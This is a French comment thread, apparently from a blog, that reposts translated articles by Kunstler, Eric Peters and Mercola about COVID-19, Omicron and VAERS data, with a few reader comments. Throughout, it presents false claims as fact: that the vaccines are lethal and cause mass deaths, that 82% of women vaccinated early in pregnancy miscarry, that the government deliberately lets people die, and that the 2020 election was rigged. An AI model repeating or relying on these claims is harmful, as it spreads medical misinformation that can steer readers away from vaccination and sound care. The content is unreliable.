Je suppose que les Américains, dans l'ensemble, chérissent Noël plus qu'ils ne craignent la dernière campagne terroriste parrainée par le gouvernement Covid-19, et que les tyrans mondialistes – ou peu importe comment vous voulez les appeler – derrière « Joe Biden » sont maintenant passés à un foutre l'esprit trop loin. Omicron est tout ce qu'il leur reste, et ce n'est pas grand chose avec quoi travailler. Se propage facilement, présentation douce, immunise naturellement. Qu'est-ce qui ne va pas dans cette variante du SARS-CoV-2 ? Un peu ressemble à une rampe de sortie du cauchemar de la psychose de formation de masse de Covid-19.
Bien sûr, la dernière chose que veulent les autorités, c'est la fin de la panique pandémique. Le président auto-autorisé d'urgence Anthony Fauci était partout dans les nouvelles du câble dimanche soir avec de terribles avertissements concernant un hiver de la mort! « Nous avons quelques mois difficiles devant nous », a-t-il prévenu. « Soyez boosté ! » Une blonde de CNN a déclaré à la nation: "Les arguments en faveur des boosters n'ont jamais été aussi forts."
Est-ce vrai ? Omicron aurait commencé en Afrique du Sud il y a quelques semaines et les décès de Covid y sont au plus bas depuis 18 mois. Les « vaccins » existants semblent être complètement inefficaces contre omicron, alors comment cela va-t-il aider davantage ? Et alors pourquoi toute cette hystérie à propos du vaxxing jusqu'à la résistance au vaxx ? Dans la mesure où les vaccins Moderna et Pfizer présentent des risques non négligeables d'effets secondaires nocifs à mortels, en plus d'être inefficaces, quel est le pari prudent ? En parlant de cela, le public sera-t-il même capable de discerner si la prétendue vague de décès hivernaux est le résultat de Covid ou de réactions indésirables aux vaxxes ? Mon argent serait consacré aux événements indésirables de vaxx.
Pourquoi ne parle-t-on absolument pas – sauf dans l'État de Floride, dirigé par le gouverneur Ron DeSantis – d'un traitement précoce complet de Covid ? Pourquoi le CDC ne crée-t-il pas de centres de traitement précoce aux États-Unis, où les personnes présentant des symptômes peuvent recevoir des perfusions d'anticorps monoclonaux et des kits de médicaments oraux bien connus, bon marché, sûrs et efficaces qui peuvent être utilisés facilement à la maison pour vaincre le virus ? (Ces médicaments ont été subrepticement interdits par notre propre CDC, vous savez.) Est-il absurde de supposer que l'objectif officiel du gouvernement « Joe Biden » est de permettre à autant de personnes que possible de mourir afin de garder le public terrorisé ? Pendant ce temps, ils ont provoqué le public à faire la queue pour les tests Covid à l'aide d'un système PCR si discrédité pour la détection de Covid qu'il y a des mois, le CDC a programmé sa mise hors ligne le 31 décembre (et, euh, pourquoi le long décalage entre le la décision et l'action ? Réponse : cela permet au CDC d'augmenter faussement le nombre de cas jusqu'à la fin de l'année.)
Avec la défaite apparente du cafouillage Build Back Better, à la suite d'une longue liste d'autres échecs, la principale chance du régime de « Joe Biden » de conserver tout pouvoir est de maintenir la panique de Covid assez longtemps pour relancer les escroqueries de vote par correspondance de 2020 aux élections législatives de 2022. C'est un jeu faible, cependant, puisque l'opposition est pleinement dessus. Et si le Parti démocrate perd autant de sièges au Congrès et au Sénat qu'il le mérite, pas un seul élément de sa législation toxique ne verra le jour jusqu'à ce que les mastodontes rentrent à la maison au cours de la prochaine ère glaciaire. Considérez également que les agents du Parti démocrate en limousine seront transportés pour témoigner devant des comités contrôlés par l'opposition et que nombre d'entre eux feront l'objet de renvois criminels.
RépondreSupprimerQuoi qu'il en soit, cette élection est loin alors que les événements avancent rapidement et furieusement. Principalement, les récits préférés du régime s'effondrent avec ses chiffres dans les sondages et l'effondrement de l'économie. "Joe Biden" est programmé pour faire un pitch pour les blocages de Noël mardi soir. Je suis sûr que cela se passera bien (pas), en plus de la menace renouvelée des mandats vaxx qui inquiéteront et énerveront des millions de travailleurs de perdre leurs moyens de subsistance – alors qu'ils s'apprêtent à vivre leur Noël frénétique de dernière minute. faire du shopping tout en préparant des réunions de famille qui peuvent être annulées (y compris les billets d'avion). Allons-y, Brandon !
Une idée utile qui circule sur Internet ces derniers temps est qu'une grève générale nationale ait lieu le 4 janvier, le premier jour de retour au travail après les vacances. C'est simple : ne vous présentez pas au travail et ne dépensez pas un sou. Le message sera clair : arrêtez-le ! Arrêtez la coercition, arrêtez le mensonge, arrêtez les manigances et arrêtez le foutage d'esprit. Si cet événement se produit, beaucoup de gens seront libres pour la journée - peut-être quelques jours - de descendre dans la rue et de manifester leur opposition de principe à un leadership politique illégitime. "Joe Biden" et sa compagnie sauteront de haut en bas, l'appelant une autre "insurrection". Devinez quoi : personne ne les croira.
Réimprimé avec la permission de Kunstler.com.
https://www.lewrockwell.com/2021/12/james-howard-kunstler/the-omicron-fake-out/
Quand remettre en question « la science » devient une « maladie »
RépondreSupprimerEric Peters
20 décembre 2021
Il est déjà assez grave que des faits contraires soient qualifiés de « désinformation » par des « vérificateurs de faits » qui ont récemment admis qu'ils étaient en train d'offrir des opinions et, par conséquent, ne peuvent être tenus pour responsables de diffamer les fournisseurs de faits en tant que colporteurs de « désinformation ».
Cela empirera quand exprimer une opinion contraire sera considéré comme une preuve de maladie mentale – par les mêmes « vérificateurs de faits ».
Ils ont déjà un nom pour cela – le trouble de stress post-pandémique. Cela «afflige» ceux qui se demandent à voix haute – ou en ligne – pourquoi ils étaient en bonne santé avant d'être amputés et ne le sont plus, après avoir été amputés.
Les cas d'inflammation cardiaque, de paralysie de Bell et de mort officiellement admis par les concoctors de la piqûre sont tous dans votre tête, voyez-vous. Vous imaginez des choses. Et c'est une chose dangereuse de dire quoi que ce soit qui pourrait être interprété comme corrélatif, car cela pourrait amener d'autres non encore piqués à y réfléchir à deux fois.
Mais ne vous inquiétez pas, il existe un remède. Une autre piqûre – cette fois avec des médicaments psychiatriques, pour calmer votre « anxiété » et (bien sûr) augmenter votre passivité et votre suggestibilité. Le Doped étant plus facile en injections.
C'est à cela que la Science nous a réduits – ou essaie de le faire.
C'est une variante de la « science » qui était « pratiquée » dans l'ancienne Union soviétique sous le nom de Lyssenkisme – d'après son fondateur proto-Fauci, Trofim Lyssenko. C'était un agronome-charlatan comme le médecin qui ne pratique pas la médecine est un charlatan médical. C'était la thèse de Lyssenko selon laquelle les rendements des cultures pourraient être considérablement augmentés en « éduquant » les plantes dans une conscience de classe. Plantez des graines de la même « classe » à proximité les unes des autres et elles transmettront leur « conscience ».
Il a nié le rôle des traits héréditaires via la génétique.
Le lyssenkisme est devenu officiel – de la même manière que les « masques » sont devenus officiels. De la même manière que les « vaccins » qui n'immunisent pas – et favorisent ainsi la propagation de la maladie qu'ils prétendent guérir – sont devenus officiels.
L'État soviétique a puni les hérétiques, qui ont osé remettre en question la « science » de Lyssenko, qui a promu la politique de l'État soviétique.
La presse soviétique était pleine d'éloges pour Lyssenko - et dans une égale mesure, d'abus envers ceux qui refusaient de feindre la croyance, étant donné des faits contraires. Cela a été considéré comme une indication de maladie mentale, puisque le parti – qui incarnait « la science » – avait toujours raison et donc, quiconque pensait le contraire était – de toute évidence – malade.
RépondreSupprimerLes gens ont été jetés dans des hôpitaux psychiatriques, une forme de punition bien plus cruelle que la simple peine d'emprisonnement puisque la santé mentale des emprisonnés n'a pas été remise en question. Il a la dignité de la criminalité pour l'aider à maintenir sa santé mentale. Essayez d'imaginer être détenu dans une cellule parce qu'ils vous disent que vous n'êtes pas bien.
Dans la tête.
Que vous ne pouvez pas comprendre la réalité. Que les quatre doigts agités devant vos yeux totalisent cinq plutôt que quatre. C'est assez pour rendre n'importe qui fou.
Ils essaient de faire la même chose, encore une fois.
Combien de doigts. Winston ?
La science n'est plus un processus d'investigation, un examen des faits – pour voir lesquels tiennent et lesquels ne tiennent pas. C'est personnel.
En la personne de notre Lyssenko, le médecin qui ne pratique pas la médecine. Qui est « la science », selon ses propres mots.
Et il ne doit pas être interrogé.
Comme dans l'ancienne Union soviétique, « la science » a le soutien de l'État, qui promeut son idéologie, quelle que soit la science. Ignore la science - lorsqu'il est démontré qu'elle est en conflit avec "la science".
Dans l'ancienne Union soviétique, des millions de personnes sont mortes de faim à cause de la science de Lyssenko.
Aux États-Unis, des millions de personnes ont été tourmentées par « la science » du petit docteur qui ne pratique pas la médecine. Si les données accumulées jusqu'à présent par le Vaccine Adverse Event Reporting System (VAERS) sont exactes à 5 %, ce qui devrait être un nombre alarmant de personnes ont été gravement blessées – beaucoup d'entre elles de façon permanente – par « la science » comme l'a insisté le petit docteur qui ne pratique pas la médecine – mais qui a le curriculum vitae nécessaire sous forme de soutien politique (et corporatif). Ce dernier cas étant également similaire au cas de l'ancienne Union soviétique - où l'État dirigeait les entreprises ainsi que tout le reste.
Comme alors, cette moissonneuse-batteuse a été utilisée pour crier, se moquer, mettre sur liste noire, dé-plateforme, démonétiser et diaboliser ceux qui contestent les prescriptions toxiques du petit médecin. Mais cela n'a pas suffi à les faire taire.
Insuffisant pour les emprisonner.
Pour leur propre sécurité, bien sûr. Je ne peux pas avoir de fous dehors.
RépondreSupprimerAinsi, la hausse soudaine et pour cette raison devrait être alarmante des problèmes cardiaques, en particulier chez les jeunes auparavant en bonne santé, n'a rien à voir avec les piqûres qu'ils ont reçus. Les psys disent que c'est une étiolement du trouble de stress post-pandémique, c'est-à-dire de l'anxiété.
Des millions sont touchés – et des centaines de milliers pourraient bientôt en mourir – selon le Britannique Lysonkoite Mark Rayner, un « thérapeute » cité dans un article publié par l’Evening Standard du Royaume-Uni.
« Le PPSD est un problème très réel à grande échelle », dit-il. "En plus de la maladie elle-même avec tous ses problèmes immédiats, l'un des plus gros problèmes collatéraux est l'effet qu'elle peut avoir sur la santé cardiaque."
En d'autres termes, si le pire se produit et que des centaines de milliers – voire des millions – meurent de maladies cardiaques et d'autres maladies après avoir été piquées, ce n'est absolument pas dû à la piqûre.
Le simple fait de suggérer que cela pourrait être la preuve que vous êtes également malade.
Et « la science » ne peut pas permettre que cela ne soit pas traité.
Dans notre présent – comme c'était le cas, à l'époque.
https://www.ericpetersautos.com/2021/12/20/when-questioning-the-science-becomes-a-sickness/
'La Pravda' veut dire en français 'La Vérité' ! Comment un journal qui s'appelle la vérité peut-il dire des mensonges ? Hahahaha !
SupprimerPlus il y a d'injections létale (expérimentations géniques d'essais), plus il y a de morts.
Ce que les données VAERS nous disent sur la sécurité des piqûres COVID
RépondreSupprimerPar Joseph Mercola
Mercola.com
21 décembre 2021
Jessica Rose, Ph.D., chercheuse à l'Institute for Pure and Applied Knowledge en Israël, a plongé en profondeur dans le système américain de notification des événements indésirables des vaccins (VAERS), et dans cette interview, elle partage les détails de ce que elle trouve.
Le VAERS, malgré ses défauts et ses inconvénients, est l'un des meilleurs outils dont nous disposons pour évaluer l'innocuité des vaccins. Il a été mis en œuvre à la suite de la loi nationale de 1986 sur les blessures causées par les vaccins chez l'enfant. Alors que les fabricants de vaccins bénéficiaient d'une immunité générale contre la responsabilité des effets indésirables en vertu de cette loi, le VAERS a été créé pour collecter les rapports de blessures dans une base de données centralisée afin que la sécurité post-commercialisation des vaccins pour enfants puisse être surveillée.
Le système a en fait été lancé en 1990, nous avons donc trois décennies de données pour comparer les tendances. Certes, les blessures causées par les vaccins sont notoirement sous-déclarées. Les enquêtes ont révélé que seulement 10 %1 à aussi peu que 1 %2,3 des blessures sont signalées.
En ce qui concerne le COVID jab en particulier, les calculs4 de Steve Kirsch, directeur exécutif du COVID-19 Early Treatment Fund, suggèrent que les blessures sont sous-déclarées d'un facteur 41. Mais malgré cela et d'autres lacunes, le VAERS peut toujours fournir des informations précieuses sur un vaccin donné.
Rose est une biologiste informatique avec des diplômes postdoctoraux en biologie moléculaire et biochimie. Alors qu'elle était d'origine canadienne, elle a fait sa formation postdoctorale en Israël, où elle vit toujours. Lorsque son rêve de surfer en Australie a été anéanti en raison de l'épidémie de COVID-19, elle a décidé de commencer à écrire du code pour les statistiques et les graphiques, et à mesure que la pandémie avançait, elle a appliqué ces compétences en programmation à la base de données VAERS.
Non, les gens ne déposent pas de faux rapports
Une tentative courante d'expliquer les données du VAERS par les soi-disant vérificateurs de faits consiste à dire qu'elles ne sont pas fiables car n'importe qui peut déposer un rapport. C'est de la pure foutaise. Oui, tout le monde peut déposer un rapport, mais il y a des pénalités pour le dépôt d'un faux rapport, et le dépôt est long et exigeant. Nous pouvons être tout à fait certains qu'il n'y a pas de sur-déclaration en cours.
Il faut en moyenne 30 minutes pour remplir un rapport, et le système est configuré de manière à ce que vous ne puissiez rien enregistrer jusqu'à la toute fin. Pire encore, chaque page expirera après une période de temps imparti, vous obligeant à recommencer depuis le début si vous prenez trop de temps pour remplir les détails.
RépondreSupprimer"Cela frustre probablement suffisamment les gens pour qu'ils ne recommencent pas", dit Rose. En effet, la lourdeur du site Web lui-même a souvent été citée comme raison pour laquelle les médecins ne signalent pas les événements indésirables. Les médecins n’ont pas le temps de le faire et la plupart des patients ne savent pas qu’ils peuvent déposer eux-mêmes leur dossier. Comme l'a noté Rose :
« [VAERS] est probablement l'un des meilleurs systèmes de collecte de données sur les événements indésirables au monde, mais c'est complètement lamentable. C'est obsolète… Néanmoins… c'est un moyen de détecter des signaux de sécurité qui n'ont pas été détectés lors des tests de pré-commercialisation ou des essais cliniques.
Et cela fonctionne de cette façon, car il y a beaucoup, beaucoup de signaux de sécurité [about the COVID piqûres] rejetés par les données. Par exemple, tout le monde a entendu parler de la myocardite… qui est l'un des signaux de sécurité émis dans le VAERS. Et donc, nous avons appris que cela se produit chez les jeunes, plus encore chez les garçons.
Une explication de cet écart entre les sexes a à voir avec les androgènes. Il a été démontré que la testostérone facilite l'entrée de la protéine de pointe dans les cellules en activant une enzyme spécifique. Cela pourrait aider à expliquer pourquoi les hommes, qui ont des niveaux de testostérone plus élevés, contractent une myocardite à des taux beaucoup plus élevés que les femmes.
Les «vaccins» les plus mortels de l'histoire médicale
Rose continue :
« J'implore tout le monde de le faire… [VAERS] est très accessible. Allez simplement sur leur site Web et téléchargez les fichiers CSV. Vous pouvez jouer avec dans Excel ou utiliser tout ce qui est compatible avec le fichier CSV. Le système OpenVAERS est encore plus simple à utiliser.
Il existe trois fichiers distincts que vous pouvez télécharger pour l'ensemble de données nationales, qui comprend les données de l'individu, les symptômes ou les événements indésirables qu'il a signalés (et il peut y avoir jusqu'à 15 types différents) et les données d'injection…
RépondreSupprimerVous pouvez les fusionner pour que, selon [chaque] ID VAERS, vous ayez beaucoup plus d'informations… C'est ce que j'ai fait. Il suffit de compter le nombre d'événements indésirables survenus en 2021. Dans le cadre des produits COVID-19, exclure tous les autres vaccins pour isoler le signal, et comparer le nombre d'événements indésirables au nombre total de événements indésirables signalés chaque année depuis 30 ans.
Il n'y a absolument aucune comparaison. Le nombre moyen de rapports d'événements indésirables au cours des 10 dernières années est d'environ 39 000, et cela inclut les données de rapport d'événements indésirables pour tous les vaccins combinés. Il y en a beaucoup …
Nous examinons donc environ 39 000 événements indésirables totaux par an [en moyenne pour tous les vaccins], contre 675 942 [événements indésirables post COVID injections] dans le seul ensemble de données nationales [Note de l'éditeur : veuillez noter que toutes les données sont au jour de l'entretien et n'ont pas été mis à jour avant la publication]. Et cela n'inclut pas le facteur de sous-déclaration…
Nous constatons la même tendance lorsque nous isolons des événements indésirables autonomes comme la mort. Il y a plus de 10 000 décès [post COVID injections] signalés maintenant dans le seul ensemble de données nationales, sans compter le facteur de sous-déclaration, et au cours des 10 années précédentes, la moyenne était de 155 décès pour l'année entière pour tous les produits combinés. Il s'agit d'une augmentation de plus de 6 000 % des déclarations de décès.
Donc, la question que j'ai posée à la FDA, au CDC et à quiconque veut m'écouter est : « Quel est le nombre limite ? » Parce que vous pensez en quelque sorte que la mort est le pire résultat en termes d'événements indésirables. dans le cadre d'un vaccin ou d'un produit biologique.
Je pense qu'il y a des choses pires que la mort personnellement. Mais la plupart des gens pensent que la mort est assez mauvaise. C'est pourquoi je parle toujours de la mort dans ce contexte. Quel est le nombre de coupure ici ? Combien de personnes doivent mourir pour que ces produits soient considérés comme dangereux ? C'est donc essentiellement tout ce que vous avez à faire dans VAERS. Je veux dire, vous pouvez vous arrêter là. Vous n'avez rien à regarder d'autre. Mais il y a tellement plus.
La causalité peut-elle être établie ?
RépondreSupprimerAlors que la Food and Drug Administration et les Centers for Disease Control and Prevention des États-Unis nient scandaleusement qu'un seul décès puisse être attribué aux piqûres de COVID, il est tout simplement impossible d'exclure 19 532 décès5 (8 986 dans les seuls territoires américains6) signalés au 26 novembre 2021. Comme le note Rose :
« Il n'est même pas statistiquement plausible de dire qu'aucun décès sur 10 000 n'a été causé [par le tir]. Ce n'est pas scientifique de dire que… Ces gens, pas 100 % d'entre eux seraient morts de toute façon ? Ce n'est pas comme ça que la vie fonctionne.
La FDA et le CDC ignorent également les analyses de données standard qui peuvent faire la lumière sur la causalité. C'est ce qu'on appelle les critères de Bradford Hill - un ensemble de 10 critères qui doivent être satisfaits afin de montrer des preuves solides d'une relation causale. L'un des plus importants de ces critères est la temporalité, car une chose doit précéder l'autre, et plus la durée entre deux événements est courte, plus la probabilité d'un effet causal est élevée.
"Donc, lorsque vous parlez de pourcentages de personnes décédées dans les 24 heures suivant l'un de ces injections, disons que vous parlez de 50%", dit Rose. "C'est un peu suspect pour moi. [Pourtant] ils nient complètement l'effet causal. C'est juste par coïncidence ?
Il existe également un signal de sécurité fort pour les problèmes de reproduction chez les femmes. Les données préliminaires post-commercialisation ont montré que les femmes qui ont reçu le vaccin au cours des 20 premières semaines de grossesse avaient un taux de fausses couches de 82 %.7,8 Les propres données de Pfizer, que Rose a analysées, ont montré un taux de fausses couches de 69 % lorsqu'elles ont été administrées au cours des 20 premières semaines. semaines. Pourtant, personne ne met en garde les femmes enceintes contre ces injections : bien au contraire, on ment universellement aux femmes.
Comment évaluer la sous-déclaration
Comme mentionné, Kirsch a calculé un facteur de sous-déclaration pour les événements de jab post COVID de 41, ce qui est probablement assez conservateur. Le calcul de Rose est encore plus prudent que cela. Elle explique:
« Steve [Kirsch] et moi sommes de bons amis. Nous travaillons en étroite collaboration sur tout cela depuis longtemps. Son facteur de sous-déclaration est de 41. Il a estimé cela sur la base d'une publication évaluée par des pairs qui a estimé le nombre d'anaphylaxie, il a donc utilisé l'anaphylaxie comme indicateur de décès.
Cela signifie que lorsque vous nous entendez dire ces chiffres, vous devez les multiplier par 41, si vous voulez suivre l'estimation de Steve, ou 31 dans le cas de la mienne. La mienne est l'estimation la plus prudente. J'ai pris les données des essais cliniques de phase 3 de Pfizer qu'ils ont présentées à la FDA.
Il y avait plus de 18 000 participants dans le groupe médicament et les groupes placebo, et il y avait un certain pourcentage d'individus dans chaque bras qui ont succombé à un événement indésirable grave, qui comprend le décès, l'hospitalisation, la visite aux urgences, un événement indésirable mettant la vie en danger, handicap ou malformation congénitale.
RépondreSupprimerAinsi, 0,7% des personnes du groupe médicament ont succombé à un événement indésirable grave selon leurs données. J'ai utilisé ce taux et je l'ai multiplié par le nombre de personnes qui avaient reçu une injection d'une dose de Pfizer à une certaine date, le 10 août, et ce nombre devient le nombre attendu de personnes qui succomberaient à un événement indésirable grave en fonction de leur Les données.
Donc, vous prenez ce nombre et le divisez par le nombre de rapports d'événements indésirables graves, et vous obtenez un facteur de multiplication, un facteur de sous-déclaration. Lorsque vous utilisez cet ensemble de données de base, les données des essais cliniques de phase 3 de Pfizer, vous obtenez 31. Ronald Kostoff a également publié un article dans Toxicology Reports, et son estimation est de 100, je crois.
Donc, chaque fois que vous parlez du facteur de sous-déclaration, je pense que vous devriez en parler en termes de fourchette, car chaque événement indésirable aura son propre [facteur de sous-déclaration]…
Je pense que si les gens connaissaient réellement la réalité de ce qui se passait, ils décideraient très rapidement, tout de suite, de ne jamais s'approcher de ces choses. Ce n'est pas du ouï-dire. Ce n'est pas une conjecture. Les essais cliniques sont des ordures, et il n'y a pas de données de sécurité. Je ne dis pas seulement cela - cela reflète très bien tous ces systèmes de collecte de données sur les événements indésirables dans le monde entier.
Ils disent tous la même chose, le Yellow Card [système au Royaume-Uni], les États-Unis [VAERS], l'Australie [système9]. Ils disent tous la même chose. A titre d'exemple, la myocardite et les jeunes garçons. Vous savez, ce n'est pas quelque chose que vous pouvez ignorer. Il y a une raison pour laquelle cela se produit. C'est parce que les [coups] ne sont pas sûrs.
Que sont les identifiants VAERS et pourquoi sont-ils manquants ?
Les ID VAERS sont les numéros attribués aux entrées de rapport individuelles. Mis à part la sous-déclaration, une autre bizarrerie qui suggère fortement que les données sont pires que nous le pensons est que les identifiants VAERS disparaissent. En d'autres termes, les rapports de cas sont supprimés du système après leur introduction. Rose a enquêté sur ce point après avoir vu des vidéos disant que des centaines, voire des milliers de personnes avaient vu leurs rapports supprimés.
Ainsi, elle a entrepris de confirmer ou de nier si des rapports manquaient chaque semaine, car les ensembles de données sont mis à jour chaque semaine. Elle télécharge tous les ensembles de données depuis janvier 2021, ce qui la place dans la position unique de pouvoir comparer les différents ensembles, car lorsque l'ensemble de données est mis à jour, les anciennes données sont écrasées.
RépondreSupprimerIls ont vécu cette horrible expérience, qu'aucun humain ne devrait vivre, puis ils ont disparu. Je ne sais même pas quel est le mot pour cela. C'est épouvantable. ~ Jessica Rose
Il existe désormais des raisons valables de supprimer un identifiant VAERS. L'une des raisons serait que le médecin et le patient déposent un rapport. Les deux rapports doivent ensuite être combinés et le numéro d'identification de l'un des rapports dupliqués est effacé. Cependant, ce que Rose a découvert, c'est que les rapports sont effectivement supprimés, ce qui ne devrait pas l'être. Elle explique:
« La façon dont je déterminais si les entrées, si leurs identifiants disparaissaient, consistait à découvrir quels identifiants VAERS n'apparaissaient pas dans la prochaine mise à jour, car vous supposeriez que chaque identifiant unique entré dans le système resterait dans le système. Et donc, la prochaine mise à jour aurait cet ensemble de données et un peu plus, mais ce n'est pas comme ça que cela fonctionne.
Il y a des suppressions chaque semaine, et elles ne sont pas expliquées. Il n'y a aucune explication pour ceux-ci. Donc, la première chose que j'ai faite quand j'ai trouvé ça - et c'était plus de 1 000 [ID manquants] - a été de vérifier si une forte proportion de ces rapports supprimés étaient des décès. Ce n'était rien de trop suspect, quelque chose comme 18 %.
Ensuite, j'ai vérifié les événements indésirables graves, puis j'ai vérifié les enfants, car c'est un gros problème qui se produit maintenant. Beaucoup de bébés disparaissent dans le VAERS, et ils ne devraient pas être là [puisque les injections COVID ne sont pas encore administrées aux bébés], ce qui explique probablement pourquoi ils sont retirés.
Donc, il n'y avait rien de manifestement suspect sur la nature des pièces d'identité [manquantes]. Mais ce n'est même pas le sujet. Ce sont des gens qui ont fait confiance à ces produits et qui ont écouté les gens qui leur disent qu'ils sont sûrs et efficaces. Ils étaient en bonne santé. Ils sont sortis et ont reçu les coups.
Certains d'entre eux ont subi un événement indésirable, d'autres sont décédés. Ces rapports ont été déposés auprès du VAERS, puis supprimés. C'est atroce. Je ne spécule pas ici non plus. C'est ce qui se passe. Ils ont vécu cette horrible expérience, qu'aucun humain ne devrait vivre, puis ils ont disparu. Je ne sais même pas quel est le mot pour cela. C'est épouvantable."
Les données sur les enfants sont supprimées
RépondreSupprimerRose s'est également penchée sur les données du VAERS pour les enfants. Fait troublant, il y a apparemment des milliers, probablement des dizaines de milliers de cas si l'on tient compte de la sous-déclaration, où les coups ont été donnés à des enfants qui étaient trop jeunes pour recevoir le coup au moment où ils l'ont reçu.
Au moment où elle a examiné cette question, il y avait environ 5 570 rapports avec un code métrique indiquant que le produit avait été administré à un patient d'un âge inapproprié. En fait, il s'agissait du type d'événement indésirable le plus fréquent chez les jeunes enfants.
"Donc, il y avait des soi-disant professionnels de la santé qui injectaient des enfants sans confirmer leur âge", dit-elle, "et puis ces enfants ont subi des effets indésirables par milliers. Et cela n'inclut pas le facteur de sous-déclaration. Certains d'entre eux sont morts. Dans la tranche d'âge de 5 à 11 ans, deux d'entre eux sont décédés. L'un avait 11 ans, l'autre 13 ans, et le délai entre le décès et l'injection chez l'un des enfants était de cinq jours, chez l'autre c'était d'un jour.
Donc, c'était dans une étroite proximité temporelle. Ce qui est encore plus troublant, c'est que… quelque chose comme 60 enfants étaient morts entre 0 et 18 ans, et 38% de ces enfants avaient moins de 2 ans. [La semaine suivante] ce pourcentage est tombé à 30%. Je me dis, attends maintenant, c'était en fin de semaine dernière. Que leur est-il arrivé?
Il y a ces énormes incohérences dans les données. En voici un autre. J'ai environ 100 fichiers différents qui contiennent des algorithmes qui exécutent du code pour des choses spécifiques, comme un fichier d'enfant, un fichier de cancer, un fichier de maladie à prions. Donc, je les lance tous avec les données mises à jour.
La myocardite en fait partie. Et il y avait ce gros morceau de données pour les 50 à 75 ans concernant les rapports de myocardite la semaine dernière, et cette semaine, c'est la moitié. Il est incroyablement évident que quelque chose est très différent dans les données. Le nombre absolu de rapports a augmenté, mais il semble avoir changé d'une manière ou d'une autre.
Il pourrait y avoir une explication plausible. Mais le fait est qu'il n'y a aucune référence à la façon dont ces données sont déplacées. Il n'y a pas d'enregistrement. Donc, en tant que public, nous n'avons aucune idée de ce qui se passe réellement. Tout ce que nous pouvons dire avec une certitude absolue, c'est qu'il se passe quelque chose.
Rapport sur la myocardite tiré de la publication
RépondreSupprimerAvec le Dr Peter McCullough, Rose a récemment écrit et soumis un article10 sur les cas de myocardite dans le VAERS à la suite des injections COVID à la revue Current Problems in Cardiology. Tout était prêt pour la publication lorsque, soudainement, le journal a changé d'avis et l'a retiré. Vous pouvez trouver la pré-épreuve sur le site Web de Rose. Les données montrent clairement que la myocardite est inversement corrélée à l'âge, de sorte que le risque augmente avec le jeune.
« La plupart des rapports dans le VAERS concernaient de jeunes garçons, âgés de 15 ans. Il y avait une différence de six fois dans les rapports après les doses un et deux, ce qui indique une dose-réponse et/ou un effet causal. Le taux de myocardite chez les 12 à 15 ans est 19 fois supérieur aux rapports de base pour les États-Unis, il y a donc beaucoup de choses dans cet article qui étaient vraiment importantes », a déclaré Rose.
« Il y a de nombreux autres articles qui sortent maintenant et qui soutiennent à 100 % ce que nous avons trouvé. Ce n'est pas discutable. Ils ont [tiré] cet article cinq jours avant cette réunion de la FDA pour les 5 à 11 ans, et je ne pense pas que ce soit une coïncidence, car cela aurait informé les gens du risque potentiel de myocardite chez les jeunes . Alors, bien sûr, ils ne veulent pas de ça, car ils ont déjà acheté 30 millions de doses pour les 5-11 ans.
Infections latentes réactivées
Un autre effet secondaire courant des injections est la réactivation d'infections latentes telles que les infections herpétiques et le zona. Rose explique :
"Il y a un tas d'articles qui ont été publiés et qui donnent des idées sur les raisons pour lesquelles cela se produit", a déclaré Rose. « L'un d'eux prétend que les populations de lymphocytes T CD8+ sont compromises. Dans la branche acquise du système immunitaire, vous avez des populations de cellules immunitaires appelées cellules T CD4+ et cellules T CD8+.
Tout le monde a entendu parler du VIH/SIDA. Donc, l'idée est que vous avez un virus qui infecte préférentiellement les lymphocytes T CD4+, qui sont les généraux du système immunitaire. Ils coordonnent en quelque sorte toutes les autres cellules pour faire leur travail. Si vous avez un épuisement de ce type de cellule, alors le reste du système immunitaire s'effondre en quelque sorte, car ils n'ont pas leur général qui leur dit quoi faire.
Les cellules T CD8+ sont les cellules tueuses. Ces cellules sont chargées de tuer les cellules infectées par un virus, elles sont donc très importantes dans le contexte d'une infection virale. L'une de ces études a montré que chez les personnes après l'injection, les profils génétiques étaient très différents pour les cellules T CD positives.
RépondreSupprimerSi nous parlons d'aller au-delà de la dérégulation immunitaire, si nous parlons de dysfonctionnement immunitaire, si nous parlons d'épuisement de certaines cellules immunitaires, cela pourrait être une raison possible pour laquelle vous assistez à une réémergence d'une espèce virale latente. , peut-être. Nous assistons également à des résurgences de cancer.
Un autre article paru montre qu'il pourrait y avoir des problèmes dans le domaine de la réparation de l'ADN double brin. Il y a deux enzymes (BRCA et 53BP1) qui ont été signalées comme étant altérées qui sont très importantes dans la réparation des cassures d'ADN double brin, et si vous avez une altération des protéines essentielles qui sont censées réparer les cassures d'ADN double brin, vous avez de sérieux problèmes .
L'un de ces problèmes est la prolifération des cellules. Ainsi, chaque fois que vous êtes exposé à un certain type de virus, disons un virus du rhume ou de la grippe, et que cela vous prend le dessus et que votre système immunitaire acquis se déclenche, vous obtenez ces glandes enflées. Ce sont des populations réelles de cellules T qui prolifèrent.
Si vous avez des capacités prolifératives rabougries, ou si vous avez une altération de ce processus, vous n'avez pas de système immunitaire si cela se produit dans les populations de lymphocytes T et B…
Ainsi, en plus de l'hyperinflammation que la protéine de pointe semble induire dans tout le corps, il y a cette altération de la fonction immunitaire. Cela me fait vraiment peur. [C'est quelque chose] que nous devons enquêter et c'est une autre raison pour laquelle ces déploiements devraient s'arrêter maintenant. "
Plus d'information
Pour en savoir plus, assurez-vous de parcourir le site Web de Rose, Jessica's World. Vous y trouverez des liens vers des vidéos dans lesquelles elle résume ses différentes découvertes, ainsi qu'une mise à jour graphique hebdomadaire des dernières données VAERS sur les décès, les problèmes de reproduction féminine, les infections à COVID, les événements cardiovasculaires et les événements immunologiques.
Une autre excellente ressource est OpenVAERS, qui résume pour vous les données VAERS les plus pertinentes sur une base hebdomadaire. Si vous cliquez sur Rapports sur les événements indésirables liés aux vaccins COVID, une barre coulissante en haut de la page vous permet de choisir d'afficher les données soit pour les territoires américains uniquement, soit pour tous les rapports VAERS, qui incluent les rapports internationaux.
RépondreSupprimerSources and References
1 BMJ 2005;330:433
2 AHRQ December 7, 2007
3 The Vaccine Reaction January 9, 2020
4 SKirsch.io/vaccine-resources
5 OpenVAERS data as of November 26, 2021
6 OpenVAERS data as of November 26, 2021. For US only data, flip the selection switch at top
7 Science, Public Health Policy, and the Law November 2021; 4: 130-143
8 NEJM 2021; 384: 2273-2282
9 Health.gov.au Reporting and Managing Adverse Vaccination Events
10 Journal Pre-proof, A Report on Myocarditis Adverse Events in the U.S. Vaccine Adverse Events Reporting System (VAERS) in Association with COVID[…]
https://www.lewrockwell.com/2021/12/joseph-mercola/what-the-vaers-data-tell-us-about-covid-jab-safety-2/
On a beau-dire aux gens "Ils vous tuent ! VOUS ÊTES SUR LA LISTE !" Ils s'enfoutent ! Ils haussent les épaules !
SupprimerPourquoi cela ?
